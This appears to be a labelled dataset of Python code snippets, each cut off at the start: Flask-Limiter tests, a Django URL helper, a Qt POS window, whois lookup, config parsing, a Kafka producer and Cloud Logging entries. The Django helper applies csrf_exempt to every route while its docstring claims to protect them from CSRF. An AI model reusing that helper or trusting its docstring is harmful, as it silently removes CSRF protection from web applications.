""127.0.0.2""} ).status_code ) assert 429 == cli.get(""/t1"").status_code def test_logging(caplog): app = Flask(__name__) limiter = Limiter(app, key_func=get_remote_address) @app.route(""/t1"") @limiter.limit(""1/minute"") def t1(): return ""test"" with app.test_client() as cli: assert 200 == cli.get(""/t1"").status_code assert 429 == cli.get(""/t1"").status_code assert len(caplog.records) == 1 assert caplog.records[0].levelname == ""WARNING"" def test_reuse_logging(): app = Flask(__name__) app_handler = mock.Mock() app_handler.level = logging.INFO app.logger.addHandler(app_handler) limiter = Limiter(app, key_func=get_remote_address) for handler in app.logger.handlers: limiter.logger.addHandler(handler) @app.route(""/t1"") @limiter.limit(""1/minute"") def t1(): return ""42"" with app.test_client() as cli: cli.get(""/t1"") cli.get(""/t1"") assert app_handler.handle.call_count == 1 def test_disabled_flag(extension_factory): app, limiter = extension_factory( config={C.ENABLED: False}, default_limits=[""1/minute""] ) @app.route(""/t1"") def t1(): return ""test"" @app.route(""/t2"") @limiter.limit(""10 per minute"") def t2(): return ""test"" with app.test_client() as cli: assert cli.get(""/t1"").status_code == 200 assert cli.get(""/t1"").status_code == 200 for i in range(0, 10): assert cli.get(""/t2"").status_code == 200 assert cli.get(""/t2"").status_code == 200 def test_multiple_apps(): app1 = Flask(__name__) app2 = Flask(__name__) limiter = Limiter(default_limits=[""1/second""], key_func=get_remote_address) limiter.init_app(app1) limiter.init_app(app2) @app1.route(""/ping"") def ping(): return ""PONG"" @app1.route(""/slowping"") @limiter.limit(""1/minute"") def slow_ping(): return ""PONG"" @app2.route(""/ping"") @limiter.limit(""2/second"") def ping_2(): return ""PONG"" @app2.route(""/slowping"") @limiter.limit(""2/minute"") def slow_ping_2(): return ""PONG"" with hiro.Timeline().freeze() as timeline: with app1.test_client() as cli: assert cli.get(""/ping"").status_code == 200 assert cli.get(""/ping"").status_code == 429 timeline.forward(1) assert cli.get(""/ping"").status_code == 200 assert cli.get(""/slowping"").status_code == 200 timeline.forward(59) assert cli.get(""/slowping"").status_code == 429 timeline.forward(1) assert cli.get(""/slowping"").status_code == 200 with app2.test_client() as cli: assert cli.get(""/ping"").status_code == 200 assert cli.get(""/ping"").status_code == 200 assert cli.get(""/ping"").status_code == 429 timeline.forward(1) assert cli.get(""/ping"").status_code == 200 assert cli.get(""/slowping"").status_code == 200 timeline.forward(59) assert cli.get(""/slowping"").status_code == 200 assert cli.get(""/slowping"").status_code == 429 timeline.forward(1) assert cli.get(""/slowping"").status_code == 200 def test_headers_no_breach(): app = Flask(__name__) limiter = Limiter( app, default_limits=[""10/minute""], headers_enabled=True, key_func=get_remote_address, ) @app.route(""/t1"") def t1(): return ""test"" @app.route(""/t2"") @limiter.limit(""2/second; 5 per minute; 10/hour"") def t2(): return ""test"" with hiro.Timeline().freeze(): with app.test_client() as cli: resp = cli.get(""/t1"") assert resp.headers.get(""X-RateLimit-Limit"") == ""10"" assert resp.headers.get(""X-RateLimit-Remaining"") == ""9"" assert resp.headers.get(""X-RateLimit-Reset"") == str(int(time.time() + 61)) assert resp.headers.get(""Retry-After"") == str(60) resp = cli.get(""/t2"") assert resp.headers.get(""X-RateLimit-Limit"") == ""2"" assert resp.headers.get(""X-RateLimit-Remaining"") == ""1"" assert resp.headers.get(""X-RateLimit-Reset"") == str(int(time.time() + 2)) assert resp.headers.get(""Retry-After"") == str(1) assert limiter.current_limit.remaining == 1 assert limiter.current_limit.reset_at == int(time.time() + 2) assert not limiter.current_limit.breached def test_headers_breach(): app = Flask(__name__) limiter = Limiter( app, default_limits=[""10/minute""], headers_enabled=True, key_func=get_remote_address, ) @app.route(""/t1"") @limiter.limit(""2/second; 10 per minute; 20/hour"") def t(): return ""test"" with hiro.Timeline().freeze() as timeline: with app.test_client() as cli: for i in range(10): resp = cli.get(""/t1"") timeline.forward(1) assert len(limiter.current_limits) == 3 assert all(not limit.breached for limit in limiter.current_limits) resp = cli.get(""/t1"") timeline.forward(1) assert resp.headers.get(""X-RateLimit-Limit"") == ""10"" assert resp.headers.get(""X-RateLimit-Remaining"") == ""0"" assert resp.headers.get(""X-RateLimit-Reset"") == str(int(time.time() + 50)) assert resp.headers.get(""Retry-After"") == str(int(50)) assert limiter.current_limit.remaining == 0 assert limiter.current_limit.reset_at == int(time.time() + 50) assert limiter.current_limit.breached def test_retry_after(): app = Flask(__name__) _ = Limiter( app, default_limits=[""1/minute""], headers_enabled=True, key_func=get_remote_address, ) @app.route(""/t1"") def t(): return ""test"" with hiro.Timeline().freeze() as timeline: with app.test_client() as cli: resp = cli.get(""/t1"") retry_after = int(resp.headers.get(""Retry-After"")) assert retry_after > 0 timeline.forward(retry_after) resp = cli.get(""/t1"") assert resp.status_code == 200 def test_retry_after_exists_seconds(): app = Flask(__name__) _ = Limiter( app, default_limits=[""1/minute""], headers_enabled=True, key_func=get_remote_address, ) @app.route(""/t1"") def t(): return """", 200, {""Retry-After"": ""1000000""} with app.test_client() as cli: resp = cli.get(""/t1"") retry_after = int(resp.headers.get(""Retry-After"")) assert retry_after > 1000 def test_retry_after_exists_rfc1123(): app = Flask(__name__) _ = Limiter( app, default_limits=[""1/minute""], headers_enabled=True, key_func=get_remote_address, ) @app.route(""/t1"") def t(): return """", 200, {""Retry-After"": ""Sun, 06 Nov 2032 01:01:01 GMT""} with app.test_client() as cli: resp = cli.get(""/t1"") retry_after = int(resp.headers.get(""Retry-After"")) assert retry_after > 1000 def test_custom_headers_from_config(): app = Flask(__name__) app.config.setdefault(C.HEADER_LIMIT, ""X-Limit"") app.config.setdefault(C.HEADER_REMAINING, ""X-Remaining"") app.config.setdefault(C.HEADER_RESET, ""X-Reset"") limiter = Limiter( app, default_limits=[""10/minute""], headers_enabled=True, key_func=get_remote_address, ) @app.route(""/t1"") @limiter.limit(""2/second; 10 per minute; 20/hour"") def t(): return ""test"" with hiro.Timeline().freeze() as timeline: with app.test_client() as cli: for i in range(11): resp = cli.get(""/t1"") timeline.forward(1) assert resp.headers.get(""X-Limit"") == ""10"" assert resp.headers.get(""X-Remaining"") == ""0"" assert resp.headers.get(""X-Reset"") == str(int(time.time() + 50)) def test_application_shared_limit(extension_factory): app, limiter = extension_factory(application_limits=[""2/minute""]) @app.route(""/t1"") def t1(): return ""route1"" @app.route(""/t2"") def t2(): return ""route2"" with hiro.Timeline().freeze(): with app.test_client() as cli: assert 200 == cli.get(""/t1"").status_code assert 200 == cli.get(""/t2"").status_code assert 429 == cli.get(""/t1"").status_code def test_callable_default_limit(extension_factory): app, limiter = extension_factory(default_limits=[lambda: ""1/minute""]) @app.route(""/t1"") def t1(): return ""t1"" @app.route(""/t2"") def t2(): return ""t2"" with hiro.Timeline().freeze(): with app.test_client() as cli: assert cli.get(""/t1"").status_code == 200 assert cli.get(""/t2"").status_code == 200 assert cli.get(""/t1"").status_code == 429 assert cli.get(""/t2"").status_code == 429 def test_callable_application_limit(extension_factory): app, limiter = extension_factory(application_limits=[lambda: ""1/minute""]) @app.route(""/t1"") def t1(): return ""t1"" @app.route(""/t2"") def t2(): return ""t2"" with hiro.Timeline().freeze(): with app.test_client() as cli: assert cli.get(""/t1"").status_code == 200 assert cli.get(""/t2"").status_code == 429 def test_no_auto_check(extension_factory): app, limiter = extension_factory(auto_check=False) @app.route(""/"", methods=[""GET"", ""POST""]) @limiter.limit(""1/second"", per_method=True) def root(): return ""root"" with hiro.Timeline().freeze(): with app.test_client() as cli: assert 200 == cli.get(""/"").status_code assert 200 == cli.get(""/"").status_code # attach before_request to perform check @app.before_request def _(): limiter.check() with hiro.Timeline().freeze(): with app.test_client() as cli: assert 200 == cli.get(""/"").status_code assert 429 == cli.get(""/"").status_code def test_fail_on_first_breach(extension_factory): app, limiter = extension_factory(fail_on_first_breach=True) @app.route(""/"", methods=[""GET"", ""POST""]) @limiter.limit(""1/second"", per_method=True) @limiter.limit(""2/minute"", per_method=True) def root(): return ""root"" with hiro.Timeline().freeze() as timeline: with app.test_client() as cli: assert 200 == cli.get(""/"").status_code assert 429 == cli.get(""/"").status_code assert [True] == [k.breached for k in limiter.current_limits] timeline.forward(1) assert 200 == cli.get(""/"").status_code assert [False, False] == [k.breached for k in limiter.current_limits] timeline.forward(1) assert 429 == cli.get(""/"").status_code assert [False, True] == [k.breached for k in limiter.current_limits] def test_no_fail_on_first_breach(extension_factory): app, limiter = extension_factory(fail_on_first_breach=False) @app.route(""/"", methods=[""GET"", ""POST""]) @limiter.limit(""1/second"", per_method=True) @limiter.limit(""2/minute"", per_method=True) def root(): return ""root"" with hiro.Timeline().freeze() as timeline: with app.test_client() as cli: assert 200 == cli.get(""/"").status_code assert 429 == cli.get(""/"").status_code assert [True, False] == [k.breached for k in limiter.current_limits] timeline.forward(1) assert 429 == cli.get(""/"").status_code assert [False, True] == [k.breached for k in limiter.current_limits] def test_custom_key_prefix(redis_connection, extension_factory): app1, limiter1 = extension_factory( key_prefix=""moo"", storage_uri=""redis://localhost:46379"" ) app2, limiter2 = extension_factory( {C.KEY_PREFIX: ""cow""}, storage_uri=""redis://localhost:46379"" ) app3, limiter3 = extension_factory(storage_uri=""redis://localhost:46379"") @app1.route(""/test"") @limiter1.limit(""1/day"") def app1_test(): return ""app1 test"" @app2.route(""/test"") @limiter2.limit(""1/day"") def app2_test(): return ""app1 test"" @app3.route(""/test"") @limiter3.limit(""1/day"") def app3_test(): return ""app1 test"" with app1.test_client() as cli: resp = cli.get(""/test"") assert 200 == resp.status_code resp = cli.get(""/test"") assert 429 == resp.status_code with app2.test_client() as cli: resp = cli.get(""/test"") assert 200 == resp.status_code resp = cli.get(""/test"") assert 429 == resp.status_code with app3.test_client() as cli: resp = cli.get(""/test"") assert 200 == resp.status_code resp = cli.get(""/test"") assert 429 == resp.status_code def test_second_instance_bypassed_by_shared_g(): app = Flask(__name__) limiter1 = Limiter(app, key_func=get_remote_address) limiter2 = Limiter(app, key_func=get_remote_address) @app.route(""/test1"") @limiter2.limit(""1/second"") def app_test1(): return ""app test1"" @app.route(""/test2"") @limiter1.limit(""10/minute"") @limiter2.limit(""1/second"") def app_test2(): return ""app test2"" with hiro.Timeline().freeze() as timeline: with app.test_client() as cli: assert cli.get(""/test1"").status_code == 200 assert cli.get(""/test2"").status_code == 200 assert cli.get(""/test1"").status_code == 429 assert cli.get(""/test2"").status_code == 200 for i in range(8): assert cli.get(""/test1"").status_code == 429 assert cli.get(""/test2"").status_code == 200 assert cli.get(""/test2"").status_code == 429 timeline.forward(1) assert cli.get(""/test1"").status_code == 200 assert cli.get(""/test2"").status_code == 429 timeline.forward(59) assert cli.get(""/test1"").status_code == 200 assert cli.get(""/test2"").status_code == 200 def test_independent_instances_by_key_prefix(): app = Flask(__name__) limiter1 = Limiter(app, key_prefix=""lmt1"", key_func=get_remote_address) limiter2 = Limiter(app, key_prefix=""lmt2"", key_func=get_remote_address) @app.route(""/test1"") @limiter2.limit(""1/second"") def app_test1(): return ""app test1"" @app.route(""/test2"") @limiter1.limit(""10/minute"") @limiter2.limit(""1/second"") def app_test2(): return ""app test2"" with hiro.Timeline().freeze() as timeline: with app.test_client() as cli: assert cli.get(""/test1"").status_code == 200 assert cli.get(""/test2"").status_code == 200 resp = cli.get(""/test1"") assert resp.status_code == 429 assert ""1 per 1 second"" in resp.data.decode() resp = cli.get(""/test2"") assert resp.status_code == 429 assert ""1 per 1 second"" in resp.data.decode() for i in range(8): assert cli.get(""/test1"").status_code == 429 assert cli.get(""/test2"").status_code == 429 assert cli.get(""/test2"").status_code == 429 timeline.forward(1) assert cli.get(""/test1"").status_code == 200 assert cli.get(""/test2"").status_code == 429 timeline.forward(59) assert cli.get(""/test1"").status_code == 200 assert cli.get(""/test2"").status_code == 200 ",1 "Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . from django.core import urlresolvers from django.views.decorators import csrf from django.conf.urls import patterns def _patch_pattern(regex_pattern): """""" Patch pattern callback using csrf_exempt. Enforce RegexURLPattern callback to get resolved if required. """""" regex_pattern._callback = \ csrf.csrf_exempt(regex_pattern.callback) def _patch_resolver(r): """""" Patch all patterns found in resolver with _patch_pattern """""" if hasattr(r, 'url_patterns'): entries = r.url_patterns else: # first level view in patterns ? entries = [r] for entry in entries: if isinstance(entry, urlresolvers.RegexURLResolver): _patch_resolver(entry) #if isinstance(entry, urlresolvers.RegexURLPattern): # let it break... else: _patch_pattern(entry) def api_patterns(*args, **kwargs): """""" Protect all url patterns from csrf attacks. """""" _patterns = patterns(*args, **kwargs) for entry in _patterns: _patch_resolver(entry) return _patterns ",1 " class MainWindow(QtGui.QMainWindow): __inits = [] def __init__(self): super(MainWindow, self).__init__() self.tabs = QtGui.QTabWidget(self) self.tabs.setTabsClosable(False) self.tabs.setIconSize(QtCore.QSize(32, 32)) self.tabs.currentChanged.connect(self.onCurrentTabChanged) self.toolbar = self.addToolBar('Base') self.toolbar.setIconSize(QtCore.QSize(48,48)) #Suitable for touchscreens self.toolbar.setObjectName('BaseToolbar') toolbarStyle = cbpos.config['menu', 'toolbar_style'] # The index in this list is the same as that in the configuration page available_styles = ( QtCore.Qt.ToolButtonFollowStyle, QtCore.Qt.ToolButtonIconOnly, QtCore.Qt.ToolButtonTextOnly, QtCore.Qt.ToolButtonTextBesideIcon, QtCore.Qt.ToolButtonTextUnderIcon, ) try: toolbarStyle = available_styles[int(toolbarStyle)] except (ValueError, TypeError, IndexError): toolbarStyle = QtCore.Qt.ToolButtonFollowStyle self.toolbar.setToolButtonStyle(toolbarStyle) self.setCentralWidget(self.tabs) self.statusBar().showMessage(cbpos.tr._('Coinbox POS is ready.')) self.setWindowTitle('Coinbox') self.callInit() self.loadToolbar() self.loadMenu() def loadToolbar(self): """""" Loads the toolbar actions, restore toolbar state, and restore window geometry. """""" mwState = cbpos.config['mainwindow', 'state'] mwGeom = cbpos.config['mainwindow', 'geometry'] for act in cbpos.menu.actions: # TODO: Remember to load an icon with a proper size (eg 48x48 px for touchscreens) action = QtGui.QAction(QtGui.QIcon(act.icon), act.label, self) action.setShortcut(act.shortcut) action.triggered.connect(act.trigger) self.toolbar.addAction(action) #Restores the saved mainwindow's toolbars and docks, and then the window geometry. if mwState is not None: self.restoreState( QtCore.QByteArray.fromBase64(mwState) ) if mwGeom is not None: self.restoreGeometry( QtCore.QByteArray.fromBase64(mwGeom) ) else: self.setGeometry(0, 0, 800, 600) def loadMenu(self): """""" Load the menu root items and items into the QTabWidget with the appropriate pages. """""" show_empty_root_items = cbpos.config['menu', 'show_empty_root_items'] show_disabled_items = cbpos.config['menu', 'show_disabled_items'] hide_tab_bar = not cbpos.config['menu', 'show_tab_bar'] if hide_tab_bar: # Hide the tab bar and prepare the toolbar for extra QAction's self.tabs.tabBar().hide() # This pre-supposes that the menu items will come after the actions self.toolbar.addSeparator() for root in cbpos.menu.items: if not root.enabled and not show_disabled_items: continue if show_disabled_items: # Show all child items children = root.children else: # Filter out those which are disabled children = [i for i in root.children if i.enabled] # Hide empty menu root items if len(children) == 0 and not show_empty_root_items: continue # Add the tab widget = self.getTabWidget(children) icon = QtGui.QIcon(root.icon) index = self.tabs.addTab(widget, icon, root.label) widget.setEnabled(root.enabled) # Add the toolbar action if enabled if hide_tab_bar: # TODO: Remember to load an icon with a proper size (eg 48x48 px for touchscreens) action = QtGui.QAction(QtGui.QIcon(icon), root.label, self) action.onTrigger = lambda n=index: self.tabs.setCurrentIndex(n) action.triggered.connect(action.onTrigger) self.toolbar.addAction(action) def onCurrentTabChanged(self, index, tabs=None): if tabs is None: tabs = self.tabs widget = tabs.widget(index) try: signal = widget.shown except AttributeError: pass else: signal.emit() def getTabWidget(self, items): """""" Returns the appropriate window to be placed in the main QTabWidget, depending on the number of children of a root menu item. """""" count = len(items) if count == 0: # If there are no child items, just return an empty widget widget = QtGui.QWidget() widget.setEnabled(False) return widget elif count == 1: # If there is only one item, show it as is. logger.debug('Loading menu page for %s', items[0].name) widget = items[0].page() widget.setEnabled(items[0].enabled) return widget else: # If there are many children, add them in a QTabWidget tabs = QtGui.QTabWidget() tabs.currentChanged.connect(lambda i, t=tabs: self.onCurrentTabChanged(i, t)) for item in items: logger.debug('Loading menu page for %s', item.name) widget = item.page() icon = QtGui.QIcon(item.icon) tabs.addTab(widget, icon, item.label) widget.setEnabled(item.enabled) return tabs def saveWindowState(self): """""" Saves the main window state (position, size, toolbar positions) """""" mwState = self.saveState().toBase64() mwGeom = self.saveGeometry().toBase64() cbpos.config['mainwindow', 'state'] = unicode(mwState) cbpos.config['mainwindow', 'geometry'] = unicode(mwGeom) cbpos.config.save() def closeEvent(self, event): """""" Perform necessary operations before closing the window. """""" self.saveWindowState() #do any other thing before closing... event.accept() @classmethod def addInit(cls, init): """""" Adds the `init` method to the list of extensions of the `MainWindow.__init__`. """""" cls.__inits.append(init) def callInit(self): """""" Handle calls to `__init__` methods of extensions of the MainWindow. """""" for init in self.__inits: init(self) ",1 "nName): rawMsg = """" tldName = """" whoisSrvAddr = """" regex = re.compile('.+\..+') match = regex.search(domainName) if not match: # Invalid domain _display_fail(""Invalid domain format"") return None # Divice TLD regex = re.compile('\..+') match = regex.search(domainName) if match: tldName = match.group() else: _display_fail(""Can not parse TLD"") return None # Get TLD List if not (tldName in whoisSrvDict.get_whoisSrvDict()): _display_fail(""Not Found TLD whois server"") return None whoisSrvAddr = whoisSrvDict.get_whoisSrvDict().get(tldName) rawMsg = whoispy_sock.get_rawMsg(whoisSrvAddr , domainName, 43) return parser_branch.get_parser(rawMsg, whoisSrvAddr) # Display method def _display_fail(msg): sys.stdout.write( FAIL ) sys.stdout.write(""%s\n"" % msg) sys.stdout.write( ENDC ) def _display_safe(msg): sys.stdout.write( OK ) sys.stdout.write(""%s\n"" % msg) sys.stdout.write( ENDC ) ",1 " in the ""LICENSE"" file in the root directory of this source tree. import sys if sys.version_info.major >= 3: from configparser import RawConfigParser else: from ConfigParser import RawConfigParser from .OrderedMultiDict import OrderedMultiDict class UsefulConfigParser(object): """"""A config parser that sucks less than those in module `ConfigParser`."""""" def __init__(self, filenames_to_try=[]): # FUN FACT: In Python 3.2, they spontaneously changed the behaviour of # RawConfigParser so that it no longer considers ';' a comment delimiter # for inline comments. # # Compare: # ""Configuration files may include comments, prefixed by specific # characters (# and ;). Comments may appear on their own in an otherwise # empty line, or may be entered in lines holding values or section names. # In the latter case, they need to be preceded by a whitespace character # to be recognized as a comment. (For backwards compatibility, only ; # starts an inline comment, while # does not.)"" # -- https://docs.python.org/2/library/configparser.html # vs: # ""Comment prefixes are strings that indicate the start of a valid comment # within a config file. comment_prefixes are used only on otherwise empty # lines (optionally indented) whereas inline_comment_prefixes can be used # after every valid value (e.g. section names, options and empty lines as # well). By default inline comments are disabled and '#' and ';' are used # as prefixes for whole line comments. # Changed in version 3.2: In previous versions of configparser behaviour # matched comment_prefixes=('#',';') and inline_comment_prefixes=(';',)."" # -- https://docs.python.org/3/library/configparser.html#customizing-parser-behaviour # # Grrr... if sys.version_info.major >= 3: self._cp = RawConfigParser(dict_type=OrderedMultiDict, inline_comment_prefixes=(';',)) else: self._cp = RawConfigParser(dict_type=OrderedMultiDict) if isinstance(filenames_to_try, str): filenames_to_try = [filenames_to_try] self._filenames_to_try = filenames_to_try[:] def read(self, filenames_to_try=[]): if isinstance(filenames_to_try, str): filenames_to_try = [filenames_to_try] self._filenames_to_try.extend(filenames_to_try) return self._cp.read(self._filenames_to_try) def sections(self): return self._cp.sections() def options(self, section_name): ## The client code doesn't need to check in advance that the requested ## section name is present in the config; this function will check ## this automatically, so no exception is raised by RawConfigParser. ## Check that `section_name` is present in the config. ## Otherwise, RawConfigParser will raise ConfigParser.NoSectionError. if not self._cp.has_section(section_name): return [] return self._cp.options(section_name) def get(self, section_name, option_name, do_optionxform=True): if do_optionxform: # https://docs.python.org/2/library/configparser.html#ConfigParser.RawConfigParser.optionxform option_name = self._cp.optionxform(option_name) if section_name is None: return self._get_optval_in_sections(self.sections(), option_name) elif isinstance(section_name, str): return self._get_optval_in_sections([section_name], option_name) else: return self._get_optval_in_sections(section_name, option_name) def _get_optval_in_sections(self, section_names, option_name): ## The client code doesn't need to check in advance that the requested ## section name(s) are present in the config; this function will check ## this automatically, so no exception is raised by RawConfigParser. optvals = [] for section_name in section_names: ## Check that `section_name` is present in the config. ## Otherwise, RawConfigParser will raise ConfigParser.NoSectionError. if not self._cp.has_section(section_name): continue optvals.extend([optval for optname, optval in self._cp.items(section_name) if optname == option_name]) return optvals def getboolean(self, section_name, option_name, do_optionxform=True): # https://docs.python.org/2/library/configparser.html#ConfigParser.RawConfigParser.getboolean return [self._coerce_to_boolean(optval) for optval in self.get(section_name, option_name, do_optionxform)] _boolean_states = {'1': True, 'yes': True, 'true': True, 'on': True, '0': False, 'no': False, 'false': False, 'off': False} def _coerce_to_boolean(self, optval_str): # 'The accepted values for the option are ""1"", ""yes"", ""true"", and ""on"", # which cause this method to return True, and ""0"", ""no"", ""false"", and # ""off"", which cause it to return False. These string values are checked # in a case-insensitive manner. Any other value will cause it to raise # ValueError.' # https://docs.python.org/2/library/configparser.html#ConfigParser.RawConfigParser.getboolean ovs_lower = optval_str.lower() if ovs_lower not in self._boolean_states: raise ValueError(""Not a boolean: %s"" % optval_str) return self._boolean_states[ovs_lower] ",1 "e License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Licensed Materials - Property of IBM © Copyright IBM Corp. 2015-2018 """""" import asyncio from confluent_kafka import Producer class ProducerTask(object): def __init__(self, conf, topic_name): self.topic_name = topic_name self.producer = Producer(conf) self.counter = 0 self.running = True def stop(self): self.running = False def on_delivery(self, err, msg): if err: print('Delivery report: Failed sending message {0}'.format(msg.value())) print(err) # We could retry sending the message else: print('Message produced, offset: {0}'.format(msg.offset())) @asyncio.coroutine def run(self): print('The producer has started') while self.running: message = 'This is a test message #{0}'.format(self.counter) key = 'key' sleep = 2 # Short sleep for flow control try: self.producer.produce(self.topic_name, message, key, -1, self.on_delivery) self.producer.poll(0) self.counter += 1 except Exception as err: print('Failed sending message {0}'.format(message)) print(err) sleep = 5 # Longer sleep before retrying yield from asyncio.sleep(sleep) self.producer.flush() ",1 "the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """"""Log entries within the Google Stackdriver Logging API."""""" import collections import json import re from google.protobuf.any_pb2 import Any from google.protobuf.json_format import MessageToDict from google.protobuf.json_format import Parse from google.cloud.logging.resource import Resource from google.cloud._helpers import _name_from_project_path from google.cloud._helpers import _rfc3339_nanos_to_datetime from google.cloud._helpers import _datetime_to_rfc3339 _GLOBAL_RESOURCE = Resource(type='global', labels={}) _LOGGER_TEMPLATE = re.compile(r"""""" projects/ # static prefix (?P[^/]+) # initial letter, wordchars + hyphen /logs/ # static midfix (?P[^/]+) # initial letter, wordchars + allowed punc """""", re.VERBOSE) def logger_name_from_path(path): """"""Validate a logger URI path and get the logger name. :type path: str :param path: URI path for a logger API request. :rtype: str :returns: Logger name parsed from ``path``. :raises: :class:`ValueError` if the ``path`` is ill-formed or if the project from the ``path`` does not agree with the ``project`` passed in. """""" return _name_from_project_path(path, None, _LOGGER_TEMPLATE) def _int_or_none(value): """"""Helper: return an integer or ``None``."""""" if value is not None: value = int(value) return value _LOG_ENTRY_FIELDS = ( # (name, default) ('log_name', None), ('labels', None), ('insert_id', None), ('severity', None), ('http_request', None), ('timestamp', None), ('resource', _GLOBAL_RESOURCE), ('trace', None), ('span_id', None), ('trace_sampled', None), ('source_location', None), ('operation', None), ('logger', None), ('payload', None), ) _LogEntryTuple = collections.namedtuple( 'LogEntry', (field for field, _ in _LOG_ENTRY_FIELDS)) _LogEntryTuple.__new__.__defaults__ = tuple( default for _, default in _LOG_ENTRY_FIELDS) _LOG_ENTRY_PARAM_DOCSTRING = """"""\ :type log_name: str :param log_name: the name of the logger used to post the entry. :type labels: dict :param labels: (optional) mapping of labels for the entry :type insert_id: text :param insert_id: (optional) the ID used to identify an entry uniquely. :type severity: str :param severity: (optional) severity of event being logged. :type http_request: dict :param http_request: (optional) info about HTTP request associated with the entry. :type timestamp: :class:`datetime.datetime` :param timestamp: (optional) timestamp for the entry :type resource: :class:`~google.cloud.logging.resource.Resource` :param resource: (Optional) Monitored resource of the entry :type trace: str :param trace: (optional) traceid to apply to the entry. :type span_id: str :param span_id: (optional) span_id within the trace for the log entry. Specify the trace parameter if span_id is set. :type trace_sampled: bool :param trace_sampled: (optional) the sampling decision of the trace associated with the log entry. :type source_location: dict :param source_location: (optional) location in source code from which the entry was emitted. :type operation: dict :param operation: (optional) additional information about a potentially long-running operation associated with the log entry. :type logger: :class:`google.cloud.logging.logger.Logger` :param logger: the logger used to write the entry. """""" _LOG_ENTRY_SEE_ALSO_DOCSTRING = """"""\ See: https://cloud.google.com/logging/docs/reference/v2/rest/v2/LogEntry """""" class LogEntry(_LogEntryTuple): __doc__ = """""" Log entry. """""" + _LOG_ENTRY_PARAM_DOCSTRING + _LOG_ENTRY_SEE_ALSO_DOCSTRING received_timestamp = None @classmethod def _extract_payload(cls, resource): """"""Helper for :meth:`from_api_repr`"""""" return None @classmethod def from_api_repr(cls, resource, client, loggers=None): """"""Factory: construct an entry given its API representation :type resource: dict :param resource: text entry resource representation returned from the API :type client: :class:`google.cloud.logging.client.Client` :param client: Client which holds credentials and project configuration. :type loggers: dict :param loggers: (Optional) A mapping of logger fullnames -> loggers. If not passed, the entry will have a newly-created logger. :rtype: :class:`google.cloud.logging.entries.LogEntry` :returns: Log entry parsed from ``resource``. """""" if loggers is None: loggers = {} logger_fullname = resource['logName'] logger = loggers.get(logger_fullname) if logger is None: logger_name = logger_name_from_path(logger_fullname) logger = loggers[logger_fullname] = client.logger(logger_name) payload = cls._extract_payload(resource) insert_id = resource.get('insertId') timestamp = resource.get('timestamp') if timestamp is not None: timestamp = _rfc3339_nanos_to_datetime(timestamp) labels = resource.get('labels') severity = resource.get('severity') http_request = resource.get('httpRequest') trace = resource.get('trace') span_id = resource.get('spanId') trace_sampled = resource.get('traceSampled') source_location = resource.get('sourceLocation') if source_location is not None: line = source_location.pop('line', None) source_location['line'] = _int_or_none(line) operation = resource.get('operation') monitored_resource_dict = resource.get('resource') monitored_resource = None if monitored_resource_dict is not None: monitored_resource = Resource._from_dict(monitored_resource_dict) inst = cls( log_name=logger_fullname, insert_id=insert_id, timestamp=timestamp, labels=labels, severity=severity, http_request=http_request, resource=monitored_resource, trace=trace, span_id=span_id, trace_sampled=trace_sampled, source_location=source_location, operation=operation, logger=logger, payload=payload, ) received = resource.get('receiveTimestamp') if received is not None: inst.received_timestamp = _rfc3339_nanos_to_datetime(received) return inst def to_api_repr(self): """"""API repr (JSON format) for entry. """""" info = {} if self.log_name is not None: info['logName'] = self.log_name if self.resource is not None: info['resource'] = self.resource._to_dict() if self.labels is not None: info['labels'] = self.labels if self.insert_id is not None: info['insertId'] = self.insert_id if self.severity is not None: info['severity'] = self.severity if self.http_request is not None: info['httpRequest'] = self.http_request if self.timestamp is not None: info['timestamp'] = _datetime_to_rfc3339(self.timestamp) if self.trace is not None: info['trace'] = self.trace if self.span_id is not None: info['spanId'] = self.span_id if self.trace_sampled is not None: info['traceSampled'] = self.trace_sampled if self.source_location is not None: source_location = self.source_location.copy() source_location['line'] = str(source_location.pop('line', 0)) info['sourceLocation'] = source_location if self.operation is not None: info['operation'] = self.operation return info class TextEntry(LogEntry): __doc__ = """""" Log entry with text payload. """""" + _LOG_ENTRY_PARAM_DOCSTRING + """""" :type payload: str | unicode :param payload: payload for the log entry. """""" + _LOG_ENTRY_SEE_ALSO_DOCSTRING @classmethod def _extract_payload(cls, resource): """"""Helper for :meth:`from_api_repr`"""""" return resource['textPayload'] def to_api_repr(self): """"""API repr (JSON format) for entry. """""" info = super(TextEntry, self).to_api_repr() info['textPayload'] = self.payload return info class StructEntry(LogEntry): __doc__ = """""" Log entry with JSON payload. """""" + _LOG_ENTRY_PARAM_DOCSTRING + """""" :type payload: dict :param payload: payload for the log entry. """""" + _LOG_ENTRY_SEE_ALSO_DOCSTRING @classmethod def _extract_payload(cls, resource): """"""Helper for :meth:`from_api_repr`"""""" return resource['jsonPayload'] def to_api_repr(self): """"""API repr (JSON format) for entry. """""" info = super(StructEntry, self).to_api_repr() info['jsonPayload'] = self.payload return info class ProtobufEntry(LogEntry): __doc__ = """""" Log entry with protobuf message payload. """""" + _LOG_ENTRY_PARAM_DOCSTRING + """""" :type payload: protobuf message :param payload: payload for the log entry. """""" + _LOG_ENTRY_SEE_ALSO_DOCSTRING @classmethod def _extract_payload(cls, resource): """"""Helper for :meth:`from_api_repr`"""""" return resource['protoPayload'] @property def payload_pb(self): if isinstance(self.payload, Any): return self.payload @property def payload_json(self): if not isinstance(self.payload, Any): return self.payload def to_api_repr(self): """"""API repr (JSON format) for entry. """""" info = super(ProtobufEntry, self).to_api_repr() info['protoPayload'] = MessageToDict(self.payload) return info def parse_message(self, message): """"""Parse payload into a protobuf message. Mutates the passed-in ``message`` in place. :type message: Protobuf message :param message: the message to be logged """""" # NOTE: This assumes that ``payload`` is already a deserialized # ``Any`` field and ``message`` has come from an imported # ``pb2`` module with the relevant protobuf 